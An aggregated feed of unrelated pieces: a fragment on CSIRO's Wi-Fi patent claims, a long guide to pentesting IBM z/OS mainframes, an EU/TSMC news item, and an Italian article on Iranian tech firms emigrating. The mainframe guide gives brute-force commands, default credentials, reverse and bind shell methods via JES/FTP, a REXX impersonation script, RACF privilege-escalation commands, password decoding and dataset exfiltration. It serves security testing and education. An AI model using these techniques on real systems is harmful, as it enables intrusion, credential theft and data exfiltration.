We know little about what went on in these cases, nor the negotiations involved. Transcripts from the short-lived 2009 case had defence lawyers pointing out that the modulation techniques used in the Wi-Fi standards had been around for decades prior to the CSIRO’s later wireless LAN patent. Meanwhile, the CSIRO stuck to its guns, claiming that it was the combination of techniques that made wireless LAN possible, and that it deserved fair recompense for the use of its patented techniques.

Was this valid? Well, to a degree, that’s how patents work. If you patent an idea, and it’s deemed unique and special, you can generally demand a payment others that like to use it. For better or worse, the CSIRO was granted a US patent for its combination of techniques to do wireless networking. Other companies may have come to similar conclusions on their own, but that didn’t get a patent for it and that left them open to very expensive litigation from the CSIRO.

However, there’s a big caveat here. None of this means that the CSIRO invented Wi-Fi. These days, the agency’s website is careful with the wording, noting that it “invented Wireless LAN.”
The CSIRO has published several comics about the history of Wi-Fi, which might confuse some as to the agency’s role in the standard. This paragraph is a more reserved explanation, though it accuses other companies of having “less success”—a bold statement given that 802.11 was commercially successful, and the CSIRO’s 60 GHz ideas weren’t. Credit: CSIRO website via screenshot
It’s certainly valid to say that the CSIRO’s scientists did invent a wireless networking technique. The problem is that in the mass media, this has commonly been transliterated to say that the agency invented Wi-Fi, which it obviously did not. Of course, this misconception doesn’t hurt the agency’s public profile one bit.

Ultimately, the CSIRO did file some patents. It did come up with a wireless networking technique in the 1990s. But did it invent Wi-Fi? Certainly not. And many will contest that the agency’s patent should not have earned it any money from equipment built to standards it had no role in developing. Still, the myth with persist for some time to come. At least until someone writes a New York Times bestseller on the true and exact history of the real Wi-Fi standards. Can’t wait.

Information technology is developing at a rapid pace, with completely new areas emerging, such as DevOps and DevSecOps – and we’re striving to keep up. However, in some projects, you may encounter systems built on rather outdated principles. Such systems must be approached with care, since a single mistake can lead to data loss and malfunctions. To some extent, this is true for today’s systems too, but for systems with a rich history, the risks are significantly higher.

Mainframes are just such an example of old architecture. These software-hardware solutions rely on principles developed in the 1960s. However, they’re still in use today, for example, to simultaneously process a large number of transactions, perform complex computing operations, and so on. They’re typically found in stock exchanges, banks, airports, and other organizations that process a lot of transactions. Despite their outdated design principles, today’s mainframe operating systems support some Linux components required to run certain utilities and web servers.

Due to the high cost and specialized focus of mainframes, these devices are rarely subject to pentesting. As a result, the community of specialists in this area is quite small. When a pentester first encounters a mainframe in a project, they have to thoroughly research this device type: its operating system principles, service features, and possible methods of compromise. It’s also important to understand the potential consequences of actions taken on the mainframe in order to exclude any potential disruptive ones from the testing plan. There are quite a few articles describing the exploitation of individual components, but gathering all the information together is no easy task. There are also guides on finding configuration errors within the mainframe itself (Example 1, Example 2, Example 3), however they require an understanding of its internal structure.

In this article, we’ll discuss the approach to pentesting IBM mainframes based on the z/OS operating system and the Resource Access Control Facility (RACF) security package, examine the technical features of such mainframes, and demonstrate how the behavior of familiar services connected to a mainframe can lead to its compromise. Thus, this article presents the path that a pentester must take to gain access to a mainframe, escalate the privileges of the current user, find possible vectors for moving to other mainframes or systems on the local network, and exfiltrate data without causing irreversible consequences. For clarity, we’ve prepared an interactive diagram of this path with various commands, links, and comments. Below is a screenshot of this diagram.

General overview of mainframe pentesting

Overview of z/OS

Components of z/OS

The functional structure of z/OS consists of three basic modules:

• System services;
• System administration and management services;
• UNIX System Services (USS).

These three modules form the foundation for the operation of other modules that support today’s information systems. For example, thanks to USS, z/OS is compatible with WebSphere web servers, DB2 databases, and more.

System services include these components:

• Job Entry System (JES) – a system for receiving and processing tasks
• Base Control Program – the core of system services that manages interaction between other z/OS components such as JES, TSO, and other.
• Data Facility Storage Management System – a system for working with datasets, including their storage and processing
• Time Sharing Options (TSO) – a system for user interaction that serves as a user interface and accepts commands for managing z/OS

These are the main subsystems we will discuss in this article. Of course, you can find more detailed descriptions of the system components, but to properly understand them you have to delve even deeper into z/OS.

Reconnaissance

Network reconnaissance

Let’s start with the reconnaissance phase, or how to figure out if you’re dealing with a mainframe. The first sign may be a set of TCP ports obtained from a network scan of the host.

The table above shows examples of TCP ports typical for mainframes. Note the unusual placement of the FTP (port 900/tcp) and Telnet (port 1023/tcp) services. This setup is often found on mainframes.

Another sign of a mainframe may be the banners of current services displayed when attempting to connect. If they contain keywords like z/OS, mainframe, or IBM, the services are most likely running on a mainframe.

User enumeration

The reconnaissance phase also includes obtaining a list of authorized users. A distinctive feature of the well-known Telnet service when running on a mainframe is that in response to an identification attempt, it returns whether the user has the right to connect. This feature allows you to obtain a list of authorized users without harming the mainframe. Here is an example of connection attempts by two users: NOTEXIS receives an error, while IBMUSER is prompted for a password.

Attempts to connect to the mainframe via Telnet by users NOTEXIS and IBMUSER

This feature is well-known, and there are tools to automate the process, such as the patator or nmap scripts:
patator telnet_login host=<ip> port=23
Existing users listing automation with the patator
nmap -p 23 <ip> --script tso-enum --script-args userdb=tso_users_full.txt -vv
Existing users listing automation with the nmap

A pentester needs a list of existing users to gain initial access. Often, knowing a unique username is enough to enter the system. More about this in the next phase.

Initial access

It’s not uncommon to use passwords that match the username for authentication on mainframe computers. Therefore, if unique usernames were found in the previous step, they may be sufficient for connecting to and controlling the mainframe. Default passwords may also be set for standard users, such as:

• IBMUSER:SYS1
• SYSADM:SYSADM
• WEBADM:WEBADM

More examples of default passwords for z/OS users can be found on GitHub.

The reason for using such weak passwords is the weak default password policy. It can be strengthened with the ICHPWX11 installation exit, but this is not installed by default.

The z/OS operating system uses the Resource Access Control Facility (RACF) as its security package. Although z/OS supports other security packages such as ACF2 and Top Secret, these are third-party software that needs to be installed separately. In RACF, there are two password-based authentication methods: PASSWORD and PASSPHRASE. Additionally, z/OS allows you to use both methods simultaneously, as some applications or services may authenticate users only by the PASSWORD method.

1 Used by default; can be supplemented with lowercase Latin letters and additional special characters.
2 Minimum passphrase length depends on whether the ICHPWX11 exit is installed.

The table above shows that the default PASSWORD authentication method supports passwords no longer than eight characters, which can contain digits, uppercase Latin letters, and three special characters. Although the password policy can be strengthened with installation exits, such weak initial settings encourage system administrators to use simple passwords.

Password cracking

Since it’s possible to log into mainframe services using PASSWORD (or PASSPHRASE), they may be susceptible to password brute-force attacks, so it’s a good idea to check this vector. For this purpose, you can use the previously mentioned patator or nmap scripts. Below are commands for brute-forcing PASSWORD for the Telnet service using these tools.
patator telnet_login host=<ip> port=23

nmap -p 23 <ip> --script tso-brute -vv
Regarding brute-forcing PASSPHRASE, we found that guessing the correct LOGIN-PASSWORD pair for a user with this setting can only be done through the IBM HTTP Server service. To do this, you can use any known password cracking tool that supports the HTTP Basic Authentication method, for example, hydra:
hydra -l username -P passwords.txt -s 80 -f <ip> http-get /
It’s important to note that password brute-forcing can lead to account lockout, disrupting the mainframe’s operation. Therefore, before conducting an attack using this method, ensure that the user blocking policy allows it.

Execution

Regardless of whether a correct login-password pair was obtained in the previous stage, there are several ways to execute commands on the mainframe.

Abuse of Job Entry System

Job Entry System (JES) is a component that handles batch jobs. It accepts and logs jobs from various sources, analyzes them, adds them to the queue, sends them for execution, and outputs the results. The basic workflow of JES is illustrated in the diagram:

Structure of JES

Executing commands via Job Entry System and the FTP server

Interestingly, one of the sources of batch jobs is the FTP server. Thus, with valid mainframe user credentials, you can connect to the FTP server and send a batch job file for execution on the mainframe. This batch job can include instructions to obtain a bind or reverse shell. This scenario can be implemented through the following steps:

• Connect to the FTP server with valid credentials.
• Upload a utility compiled for z/OS, for example netcat, to the FTP server.
• Switch the current FTP session mode to JES with the command SITE=JES. In this mode, the mainframe will process any file uploaded to the FTP server as a batch job directed to JES.
• Upload a JCL-format batch job to the FTP server, which will launch the previously uploaded netcat utility with specified parameters to obtain a bind or reverse shell.
• Accept the connection request from the reverse shell or connect to the bind shell.

An example of a netcat version compiled for z/OS v1.10 is available in the repository github.com/mainframed/NC110-OM…. Since the mainframe uses EBCDIC character encoding, it’s necessary to translate ASCII characters to EBCDIC for the utility to understand your commands. The Python script netebcdicat was created for this, allowing you to accept a reverse shell connection request or connect to a bind shell.

Using the netcat utility is one example of exploiting JES to execute commands on the mainframe. There are other ways to achieve this goal. For example, the following tools can be used to automate this process:

• metasploit framework
  
  • payload/cmd/mainframe/generic_jcl
  • exploit/mainframe/ftp/ftp_jcl_creds
  • payload/mainframe/shell_reverse_tcp

  
  

• github.com/mainframed/MainTP
• github.com/mainframed/TShOcker

The MainTP script contains source code for creating bind and reverse shells in C, as well as JCL batch job instructions. These instructions tell the mainframe to compile and then launch the shell. Like netcat, MainTP helps you gain access to the UNIX component of the mainframe, called UNIX System Services. As a result, the created bind or reverse shell allows you to manage the z/OS UNIX Shell component, which is analogous to the SH or BASH interpreter. This form of interaction with the mainframe is more or less familiar to pentesters, as many z/OS UNIX Shell commands closely resemble BASH or SH commands from well-known UNIX-like systems such as Debian, Ubuntu, CentOS, and FreeBSD.

The TShOcker script loads and runs a REXX-format script on the mainframe, creating a bind or reverse shell, and gives it control over the Time Sharing Options (TSO) resource manager – a command interpreter for z/OS that allows you to manage mainframe resources: access data, manage users, launch programs, and so on.

Network Job Entry

Network Job Entry (NJE) is a part of the Job Entry System that allows multiple mainframes to communicate with each other, sending various files, batch jobs, system commands, and so on.

Communication of mainframes in different cities using NJE

NJE is used when an organization has several geographically separated mainframes. Depending on the configuration, by abusing NJE you can perform certain actions on the mainframe. For example, in the default configuration, a pentester can execute commands as another user without a password or special token. However, exploiting NJE requires certain information in advance, such as the names of NJE nodes participating in the NJE network. This topic is beyond the scope of this article and deserves special attention. More detailed information on exploiting NJE can be found in the PoC || GTFO journal. You can also check out the pentesting tool NJElib for this purpose.

Interacting with the mainframe through VTAM

Virtual Telecommunications Access Method (VTAM) is a subsystem that allows various mainframe applications to be accessed over a network, specifically through the TCP/IP stack.

VTAM

The TN3270 protocol, developed in the 1970s, is used for network interaction with mainframe applications. At that time, communication with mainframes was carried out through special devices (terminals).

Terminal

Today, the TN3270 protocol can work over the Telnet protocol, and there are several utilities (terminal emulators), such as x3270, that allow to control mainframe applications or resource managers. You can launch x3270 using the following commands:
x3270 -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>

x3270 -charset <charset> -proxy socks4:<PROXY_IP>:1080 -user SYSADM <IP>
After connecting to the mainframe using the TN3270 protocol via Telnet, you can select the application or resource manager for interaction.

Selecting an application on a mainframe

CICS

The Customer Information Control System (CICS) is responsible for transaction management and serves as a layer through which external applications, such as software on store clerks’ computers, interact with mainframe resources. A CICS application can be written in various programming languages supported by the mainframe: С/Java/COBOL. Access to CICS is provided by VTAM. A discussion of attacks on this application deserves a separate article, but you can find details about the exploitation and tools at the following links:

• github.com/ayoul3/cicspwn,
• github.com/sensepost/birp.

Resource managers

Resource managers allow you to interactively manage mainframe resources, control access, and configure mainframe components. Let’s look at two basic resource managers as an example.

Time Sharing Options/Extensions

Time Sharing Options/Extensions, or simply Time Sharing Options (TSO), is an interactive command-line user interface with its own command system, allowing you to manage mainframe resources: run programs and jobs, manipulate datasets, manage users, and more.

Time Sharing Options

Interactive System Productivity Facility

The Interactive System Productivity Facility (ISPF) resource manager is more like a graphical interface for managing mainframe resources, but its functionality is very similar to TSO, and essentially the two can be used interchangeably.

Interactive System Productivity Facility

Using standard services

As we’ve seen in the previous phases, mainframes include not only z/OS-specific services but also more common server management services like Telnet and SSH. With valid credentials, you can connect to the mainframe using standard clients for these services.

Connecting to a mainframe via Telnet protocol

As shown in the image, once connected to the services, you gain access to USS and the ability to execute z/OS UNIX Shell commands. This type of access is more convenient and familiar to a pentester than managing the mainframe through TSO/ISPF or via JES and FTP. It can also be used for information gathering, privilege escalation, data exfiltration, and more. You can also execute TSO resource manager commands through the z/OS UNIX Shell using the tsocmd utility.

Web applications

As mentioned earlier, mainframes support current technologies, including the web servers IBM HTTP Server or WebSphere, allowing the launch of various web applications. And where there are web applications, there may be vulnerabilities.

For example, you may encounter a version of IBM HTTP Server that is vulnerable to CVE-2012-5955, which allows a remote attacker to execute arbitrary commands. An example of exploiting this vulnerability is available at the following link: github.com/mainframed/logica/b….

You may also encounter custom web applications written by the client, which could have various vulnerabilities leading to remote code execution, for example, through unsecure file uploads or command injections.

Since the main web servers use USS, exploiting vulnerabilities in the web server or web application can also give access to USS.

Privilege escalation

Overview

Before discussing privilege escalation methods on a mainframe, let’s examine the basic access control flow on the device.

Access control scheme in z/OS

When a user attempts to access a mainframe resource, the System Authorization Facility (SAF) component queries the security package. z/OS supports various security packages (ACF2, Top Secret, RACF). In this article, we’ll focus on IBM’s standard security package – Resource Access Control Facility (RACF). RACF consists of a service and a database containing information about users, groups, resources, datasets, and more, as well as user access rights and privileges. The RACF service communicates with the SAF and decides whether the user has certain privileges or access rights.

When a user successfully logs in, their profile is loaded into the RACF service’s RAM. The profile contains an Accessor Environment Element (ACEE) block, which specifies the user’s rights and privileges. All subsequent access decisions are based on this data. One of the most popular methods of privilege escalation involves finding a way to modify the contents of the ACEE in the user’s profile in the RACF service’s RAM. However, this is not the only method.

Configuration errors related to dataset access control

Authorized Program Facility

In terms of mainframes, a dataset is analogous to a file, consisting of records and containing text information, scripts, programs, libraries, application data, and so on. Several types of dataset exist, each with its own structure. Information about a dataset (attributes, access rights, audit settings, and more) is also stored in the RACF database. Configuration errors affecting dataset access rights can lead to privilege escalation.

Let’s look at an interesting feature of z/OS – the Authorized Program Facility (APF). This security mechanism grants programs the right to perform privileged operations, such as accessing arbitrary areas of RAM. Programs with such access are called APF-authorized. They can switch to a special “supervisor” mode during execution, in which they perform privileged operations. Thus, if you find write access rights to any APF-authorized program or library, you can add code to it that finds the current user’s profile in the RACF service’s RAM and modifies its ACEE to increase the user’s privileges.

Enumeration

There are several ways to search for APF-authorized programs and libraries:

• Command in TSO

CONSOLE
d prog, apfFor this, you need privileges to execute the CONSOLE command.

Executing the CONSOLE command

After displaying the list of APF-authorized programs and libraries, you can enter the following command into TSO to find out access rights:
listdsd dataset('<dataset>') gen

Finding out access rights

• Scripts

github.com/ayoul3/Privesc/blob…
github.com/mainframed/Enumerat… the ELV.APF script in TSO to obtain a list of APF-authorized programs and libraries looks like this:
ex 'ELV.APF' 'LIST'If you see ALTER or UPDATE access to any APF-authorized program or library, you can modify its content.

Exploitation

There are several exploits that allow you to abuse excessive access to an APF-authorized program or library.

• Metasploit

payload/cmd/mainframe/apf_privesc_jcl

• Scripts

github.com/ayoul3/Privesc/blob…

ELV.APF script

The ELV.APF script searches for the user profile in RAM and assigns it the SPECIAL attribute, which gives the user the highest privileges in the system for the current session. It’s important to note that to retain the privileges, the script executes a TSO command that adds the SPECIAL and OPERATIONS attributes to the user in the RACF database. As a result, the user’s privileges are retained upon recreating the session.
ALU "||userid()||" SPECIAL OPERATIONS
If you don’t want to make changes to the RACF database, you can act as a more privileged user who is already logged in and whose profile is present in RAM. For this, another script from the same repository is suitable:
github.com/ayoul3/Privesc/blob…
To get a list of logged-in users, use the TSO command:
ex 'ELV.SELF'
And to perform actions as the user, execute the following command:
ex 'ELV.SELF' 'TARGET=<USERID> APF=<APFPATH>

WARNING mode

Datasets have an attribute that determines whether the dataset is in WARNING mode. In this mode, any access to the dataset is permitted, regardless of the access rights specified in the RACF database. If someone tries to violate the access restrictions set in RACF, a warning message is generated, but access is still granted. Thus, if the dataset stores sensitive information, such as the RACF database, an APF-authorized library, or a certain resource in a resource class, any user can modify or exfiltrate the dataset, leading to privilege escalation or data leakage.

Obtaining a list of datasets and resources in WARNING mode

Examples of TSO commands for identifying datasets and resources in WARNING mode:
sr class(<CLASSNAME>) warning

SR ALL WARNING NOMASK

Configuration errors related to resource class access control

Overview

Resource classes on the mainframe define the class of privileges that users or groups may have. For example, the OPERCMDS resource class defines which operator commands can be executed, UNIXPRIV defines privileges in USS, DASDVOL defines privileges for access to DASD volumes, and so on. Interestingly, some privileges may be interchangeable. A schematic diagram of resource classes and access rights to certain resources is presented below.

FACILITY and OPERCMDS resource classes

Each resource class consists of individual resources responsible for specific privileges. For example, the BPX.FILEATTR.APF resource in the FACILITY resource class allow you to assign an extended attribute to files in USS using the command extattr +a. A file with this attribute becomes an APF-authorized program or library.

Access rights to a resource for a user are determined by the Access Authority field. This can have one of six values (listed in ascending order of access level): NONE, EXECUTE, READ, UPDATE, CONTROL, ALTER. The logic of assigning privileges to users in z/OS is not straightforward and differs from more common systems: most often, for a user to gain a privilege associated with a resource, it’s sufficient to have minimal access to that resource, such as READ. Intuitively, it might seem that the READ access level only allows a user to view a list of users with access to the resource, but in practice, this is not the case. Below are some well-known resource classes and specific resources for which configuration errors may lead to privilege escalation.

Resource class TSOAUTH

The TSOAUTH resource class is used to protect TSO resources, specifically, to define which commands a user can enter in TSO.

TESTAUTH

The TESTAUTH resource in the TSOAUTH class determines whether a user can enter the TESTAUTH command. This command runs a program as APF-authorized. If a user has access to this resource with READ rights or higher, they can elevate current privileges through misconfiguration of APF-authorized programs and libraries.

Enumeration

To check if the current user has privileges to execute the TESTAUTH command, the following command can be entered in TSO:
RLIST TSOAUTH TESTAUTH AUTH

Exploitation

Example of running a program in TSO as APF-authorized through TESTAUTH:
TESTAUTH 'SYS1.LINKLIB(<SOMELIB>)'
You can also view examples of exploiting the TESTAUTH resource at this link: github.com/zBit31/testauth.

Resource class OPERCMDS

The OPERCMDS resource class defines access to commands for managing various subsystems in z/OS: Multiple Virtual Storage (MVS), JES2, JES3, RACF, and others. In other words, it defines a set of commands that a user can use to manage z/OS, retrieve status information, and so on.

MVS.SETPROG.**

The Access Authority value can be assigned not only to an individual resource but also to a group of resources. In this case, asterisks ** are used instead of part of the resource name. Thus, MVS.SETPROG.** is a group of resources where UPDATE access allows any dataset to be APF-authorized.

Enumeration

To check if the current user has privileges to execute the SETPROG command within the MVS.SETPROG.** resource group, the following command can be entered in TSO:
RLIST OPERCMDS MVS.SETPROG.** AUTH
RLIST OPERCMDS MVS.SET.PROG.** AUTH

Exploitation

An example of setting a dataset as APF-authorized:
SETPROG APF,ADD,DSNAME=<SOMEDATASET>,SMS

Resource class FACILITY

The FACILITY resource class defines user privileges when performing certain operations. It helps avoid excessive assignment to users of the SPECIAL attribute, which grants unlimited rights, and separates high privileges into individual resources. This way, users can be only assigned the necessary privileges.

IRR.PASSWORD.RESET

The resource IRR.PASSWORD.RESET allows you to reset passwords and passphrases for users without special attributes (SPECIAL, OPERATIONS, AUDITOR, ROAUDIT). The Access Authority value sufficient for exploitation is READ.

Enumeration

To find out if the current user has sufficient access to the IRR.PASSWORD.RESET resource, the following command can be used:
RLIST FACILITY IRR.PASSWORD.RESET AUTH

Exploitation

The following command resets passwords and passphrases for users without special attributes:
ALU <USERID> PASS(<PASSWORD>) RESUME

BPX.SUPERUSER

Owning the BPX.SUPERUSER resource makes the user a superuser in the UNIX subsystem. This means they can switch to superuser mode using the ‘
su’ command in z/OS UNIX Shell. To do this, it’s sufficient to have Access Authority READ.

Enumeration

The following command will help determine if the current user has access to the BPX/SUPERUSER resource:
RLIST FACILITY BPX.SUPERUSER AUTH

Exploitation

To exploit this, you need to switch to z/OS UNIX Shell from TSO using the OMVS command and then enter
su root.OMVS
su root

BPX.FILEATTR.APF

The resource BPX.FILEATTR.APF allows you to assign an attribute to a file in z/OS UNIX Shell that makes it APF-authorized. The necessary level of Access Authority for exploiting this resource is READ.

Enumeration

To find out if the current user has the necessary level of access to the BPX.FILEATTR.APF resource, execute the following command:
RLIST FACILITY BPX.FILEATTR.APF AUTH

Exploitation

To exploit this resource, you need to switch to z/OS UNIX Shell using the OMVS command and then execute extattr +a.
OMVS
extattr +a ./somefile

Resource class SURROGAT

The SURROGAT resource class is responsible for performing actions on behalf of other users in various z/OS subsystems. Specifically, it defines the ability to run a task in JES or execute a command in z/OS UNIX Shell on behalf of another user without a password. For more detailed information about this resource class, you can watch this presentation by security expert Jake Labelle at DEF CON Safe talks:

youtube.com/embed/KUND0KllCKc?…

<USERID>.SUBMIT

A resource with this mask allows you to submit tasks for execution in JES on behalf of user <USERID> using the TSO SUBMIT command. Details can be found here.

Enumeration

To obtain data on the availability of a specific user, use the command below, replacing <USERID> with the username of interest:
RLIST SURROGAT <USERID>.SUBMIT AUTHUSER
To get a list of all available users, you can use the following command:
SEARCH CLASS(SURROGAT) FILTER(*.SUBMIT)

Exploitation

To take advantage of this resource, you need to create a task and submit it for execution in JES. The task can contain various operations. For example, you can use the CATSO.REXX script mentioned when describing the execution phase. This script is used to create a bind or reverse shell, allowing you to control TSO on behalf of another user. For convenience, here is the REXX script (SURROGAT_EXPLOIT.REXX), which takes <USERID> as an input argument and runs CATSO.REXX on its behalf with specified parameters to open a bind shell.
/* REXX */
PARSE ARG id
QUEUE "//SURR01 JOB (9),'SURR01',CLASS=A,USER="id","
QUEUE "// MSGCLASS=H,MSGLEVEL=(1,1)"
QUEUE "//SURR012 EXEC PGM=IKJEFT01"
QUEUE "//SYSTSPRT DD SYSOUT=*"
QUEUE "//SYSTSIN DD *"
QUEUE "EXEC 'TESTUSER.CATSO.REXX' 'L 8855'"
QUEUE "//*"
QUEUE "$$"
o = OUTTRAP('output.')
"SUBMIT * END($$)"
o = OUTTRAP(OFF)
During exploitation, you need to change the following lines in the script:

• TESTUSER.CATSO.REXX – the location of CATSO.REXX
• SURR01 – the name of the batch job (no more than 8 characters)
• SURR012 – the name of the step during execution (no more than 8 characters)
• L 8855 – parameters for CATSO.REXX that launch the script in listening mode on port 8855/TCP.

An example of performing actions as the user IBMUSER:
EX 'SURROGAT_EXPLOIT.REXX' 'IBMUSER'

BPX.SRV.<USERID>

A resource with this mask allows you to act as another user in z/OS UNIX Shell.

Enumeration

To obtain data on the availability of a specific user, use the command below, replacing <USERID> with the specific username:
RLIST SURROGAT BPX.SRV.<USERID> AUTHUSER
To get a list of all available users, you can use the following command:
SEARCH CLASS(SURROGAT) FILTER(BPX.SRV.*)

Exploitation

For exploitation, you need to switch to z/OS UNIX Shell from TSO using the OMVS command, and then enter
su -s <USERID>, where you need to substitute the login of a specific user instead of <USERID>.OMVS
su -s <USERID>
The above is just a sample of the existing resource classes and resources. You may encounter a different set of available privileges. In such cases, studying the documentation on privileges will help you understand how they can be abused to gain access to sensitive information or escalate current privileges.

Privilege escalation in UNIX System Services

In the context of configuration violations affecting access control to resource classes, it’s worth considering ways of working with z/OS UNIX Shell. As mentioned earlier, the command TSO
OMVS is used to start z/OS UNIX Shell.

Entering the OMVS command

z/OS Unix Shell

In addition to the methods mentioned above, there is an SH script called OMVSEnum.sh that searches in the UNIX subsystem for interesting files and utilities that the current user has some access to, allowing for privilege escalation or extraction of sensitive data.

It’s also interesting that when assigning a file an attribute that makes it APF-authorized using the command
extattr +a ./somefile, it can be executed not only in z/OS UNIX Shell but also found in TSO as a dataset. Files in USS are special types of dataset, such as HFS (Hierarchical file system) or z/FS (z/OS file system). A diagram of how files and directories are stored in z/OS for USS is presented below.

USS file storage

Thus, you can access a file both through z/OS UNIX Shell and through TSO.

CVE-2012-5951

The vulnerability CVE-2012-5951 was found in the NetView service some time ago, making it possible to escalate privileges in USS.

Determining exploitability

To determine whether the system has this vulnerability, you need to find the path to the
cnmeunix utility, which is located at the mask /usr/lpp/netview/vXrX/bin/cnmeunix. If the value of vXrX >= 5.1 but <=5.4 or 6.1, then the NetView service is vulnerable to CVE-2012-5951.

Exploitation

To escalate privileges through the exploitation of CVE-2012-5951, use the kuku script.

Collection

The information gathering phase is most relevant if access to the mainframe is not the final goal of the pentest. z/OS supports integration with other operating systems, particularly through LDAP or Kerberos, and the credentials for such integrations are located in USS files. You may also have access to files containing logins and passwords of privileged users, such as WebSphere configuration files. It’s easiest to obtain this data from USS.

Below is a table with the location of potentially interesting files.

It’s worth paying attention the WebSphere configuration files. Often the credentials they contain are protected by weak encryption and are marked with the prefix {XOR}. They can be easily decrypted, for example, using the script websphere-xor-password-decode-encode.py.
python2.7 websphere-xor-password-decode-encode.py -d Lz4sLCgwLTs=
LDAP passwords can also be stored in a special stash file, which is easy to decrypt. Below is an example of creating such a stash file:
/usr/lpp/internet/sbin/htadm -stash stash_file.sth SuperSecretLDAPPass
To decrypt the stash file, execute the following command. It should be noted that the encoding in z/OS is EBCDIC, and the file must be converted to ASCII after decryption.
perl -C0 -n0xF5 -e 'print $_^"\xF5"x length."\n";exit' < key.sth > unstash.key
dd conv=ascii if=unstash.key of=unstash_ascii.key

Exfiltration

A few words about the exfiltration process. The most convenient way to perform exfiltration is through standard protocols like FTP, SSH, and their utilities – FTP, SCP, SSH, and so on.

Data can also be downloaded using the x3270 utility if you don’t have access to other protocols.

Data exfiltration using the x3270 utility

Another effective, albeit “dirty” method is to copy files to a directory with static data of the HTTP server and access it via the necessary path.

Netcat can be used for exfiltration, but you need to remember the difference in encoding.
nc -l 4321 < source_file.txt

nc zos_ip_address 4321 > destination_file.txt
If you need to exfiltrate a dataset during mainframe pentesting, the x3270 and FTP utilities are typically used. When connecting to the FTP server, you will gain access to the user dataset and can download the data within it.
get SOME.DATASET.PATH
You can also try going a few datasets back using ‘..’ to access sensitive data, such as the RACF database.
cd ..
cd SYS1
get RACF
If it’s not possible to directly exfiltrate a file from USS, you can copy it to a dataset using the following command:
OGET '/path/to/hfs/file' DATASETNAME BINARY
You can directly download a file from USS through the FTP server. After connecting, simply change the directory, for example, to /tmp, and further directory transitions will be made within USS.

You can copy a dataset to a USS file and exfiltrate it using the following command:
cp -B "//'SYS1.RACF'" /tmp/racf

Conclusion

We’ve examined the features of mainframes and the main attack vectors against them. It should be noted that the list of techniques, tactics, and procedures for accessing a mainframe considered in this article is far from exhaustive. Despite the fact that these complex systems have been around for a while, the community dedicated to pentesting them is relatively small. Therefore, consider this article a starting point for working with mainframes, and don’t hesitate to bring something new to this field. There’s plenty of room for new findings.

In the next article, we will describe the internal structure of RACF in more detail and discuss a tool that simplifies the search for configuration errors in RACF through offline examination of the security package database.

securelist.com/zos-mainframe-p…

European Commission President Ursula von der Leyen attended the official groundbreaking ceremony for Taiwanese firm TSMC's Dresden plant on Tuesday (20 August) after the institution she heads announced a €5 billion state aid scheme for the facility - a sign that the EU is redoubling its efforts to boost the bloc's domestic semiconductor production.

euractiv.com/section/digital/n…

Una grave crisi si sta preparando nel settore tecnologico iraniano. Secondo i recenti resoconti dei media statali del paese, fino all’80% delle aziende tecnologiche iraniane stanno prendendo in considerazione l’emigrazione. Questa tendenza allarmante illustra chiaramente l’impatto devastante della censura di Internet sulle imprese.

Secondo il capo dell’organizzazione iraniana delle TIC (tecnologie dell’informazione e della comunicazione), le continue restrizioni all’accesso a Internet stanno portando alla fuga di massa. Quella che inizialmente veniva percepita come una crisi individuale, ora colpisce intere aziende e start-up. Ciò rappresenta una seria minaccia per la stabilità economica dello Stato.

I principali social network come Instagram, Twitter, YouTube e Telegram, così come migliaia di altri siti web, sono ufficialmente vietati nel Paese. Tuttavia, nonostante i divieti, queste piattaforme rimangono estremamente popolari tra decine di milioni di utenti iraniani, che trovano vari modi per aggirare i blocchi.

Hessam Assadi, un importante rappresentante dell’industria tecnologica iraniana, propone di eliminare le restrizioni su sei servizi principali: Google Play, WhatsApp, Telegram, Instagram, YouTube e X. Ma quasi nessuno ascolterà il suo consiglio.

L’Iranian ICT Guild Organization sta cercando di rispondere alla situazione attuale. Una delle iniziative chiave è lo sviluppo del “Tariffario dei servizi tecnici specializzati in informatica”. Questo pacchetto ha lo scopo di creare meccanismi finanziari e normativi per sostenere le aziende tecnologiche. Tuttavia, l’efficacia della misura è ancora in dubbio, poiché necessita di un più ampio riconoscimento e sostegno da parte delle agenzie governative.

Un altro serio ostacolo per il business IT era il complesso processo di concessione delle licenze. Particolarmente difficile è ottenere una licenza AFTA (Amn-e Faza-ye Tabadol-e Etelaat, ovvero “Sicurezza dello spazio di scambio delle informazioni”). Questo documento, necessario per lavorare nel settore delle telecomunicazioni, viene rilasciato dalle autorità. Il processo è spesso lungo e richiede il passaggio di numerose procedure burocratiche.

Problemi relativi al cambio valuta, alla registrazione degli ordini e alla catena di approvvigionamento di materie prime e merci hanno interrotto le operazioni delle società di apparecchiature infrastrutturali. Questi fattori hanno ulteriormente esacerbato la crisi migratoria.

Le nuove leggi e le iniziative del governo non sono incoraggianti. Ad esempio, il ministro delle Comunicazioni Sattar Hashemi ha recentemente introdotto un programma che enfatizza lo sviluppo di una rete informativa nazionale. Ciò ha sollevato preoccupazioni tra gli attivisti per la libertà di Internet poiché l’approccio potrebbe portare a un maggiore controllo da parte del governo.

Il programma di Hashemi riflette la politica di internet complessiva del regime iraniano. Mira a stabilire la “sovranità nazionale” nel cyberspazio e a rafforzare il “potere informatico”. Il politico sostiene anche l’idea di chiudere Internet nei periodi di tensione politica.

Mentre l’industria tecnologica iraniana è alle prese con una crisi esistenziale, la necessità di un approccio equilibrato che tenga conto sia delle preoccupazioni economiche che dei diritti digitali dei cittadini sta diventando sempre più urgente. L’emigrazione di massa delle aziende tecnologiche non solo minaccia il futuro economico dell’Iran, ma mette anche in discussione la sostenibilità a lungo termine delle sue attuali politiche su Internet.

L'articolo Muri Digitali: l’80% delle aziende tecnologiche in Iran vuole emigrare a causa della censura di Internet proviene da il blog della sicurezza informatica.